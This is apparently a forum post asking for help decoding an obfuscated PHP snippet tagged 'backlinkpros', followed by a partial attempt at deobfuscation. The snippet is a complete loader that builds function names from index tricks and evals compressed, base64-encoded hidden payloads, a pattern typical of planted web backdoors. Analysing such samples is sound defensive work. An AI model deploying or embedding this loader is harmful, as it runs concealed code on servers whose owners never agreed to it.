Try to decode this

<?php 
 /* backlinkpros */
$keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw==')));
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LdBJjp
tAAADAz0TKjPpAg82maA4YaMDsNtAMl4h934zBmN
dnDrnUAyrf4u7jl21DCP/zkcRLzpz/Znk6ZvnHby
P11GZ6CoIgucO5hyu4llQn+LQrUpdzVPv8tx++r8
xOexfDccg1d7NwQzZY+II/nhYkCNa72qTs1EQeKT
y3GseLmwGPzxSSMb3qJnfIzt2/kZCT+iXcA3yEU+
bu8a63+lYNmvhqv+mBXhv9ok1hydVb3c2Kna2O59
th9Mr6XtsRWbXyXgjMhXXbh9tLSdqdXoc5qr3WpF
5LeIy5qbL/JvvBUYMzaxRbzW+JGjNhb43GCgCGwi
KzczhILapwE3jpaxvUCowkJ/PS5A6Z/lDgbKrEgB
DSZtEyEqrTlCHaMppmhKR/WkfRl1EEJTUKXeFZYE
bYpQLTznS6hXt6zXFSuCRI4xBp3kWuAmWi2IulWo
lUHKOMIALOzJhWFR7kjeK5yKvZ7XESkmWcphCXY1
7uRY9zmJznBIUo37LZ5Tu8xvB7rBSfafGjUdifMY
WjCP8K397RFJ68KAgqVuIHtknNoBvYaIMnvL+NW/
ET5qxCBwQ5kE6n3TSw4ejsHTwazS7fFiHt5d7goo
6tRNReou4PmfCgYn1sT6yleIhmsOjkOqkAVRyWl/
Md197SJNc5hjdDsd67D/IevaluGv3gMbegEBcf8Y
qh362nMjw5mbgdpt6184i8+J7QZImQyybQp6UtM9
PEB0vUBH4nYsPY5D539W6sxAfBjkzV1dWSDnZ/Lt
Qn8+SZ44g9wLNHD1LlPgP52M3oZksTcuiQ5TlCJf
kiZNXX19fvz8/PP/8A')));
?>

<?
$keystroke1 = "wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp";

if(!function_exists("rotencode")){
function rotencode($string,$amount) { 
    $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}else{
        echo "rotencode";
    }

$O0O0O0O0O0O0="rotencode";

$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);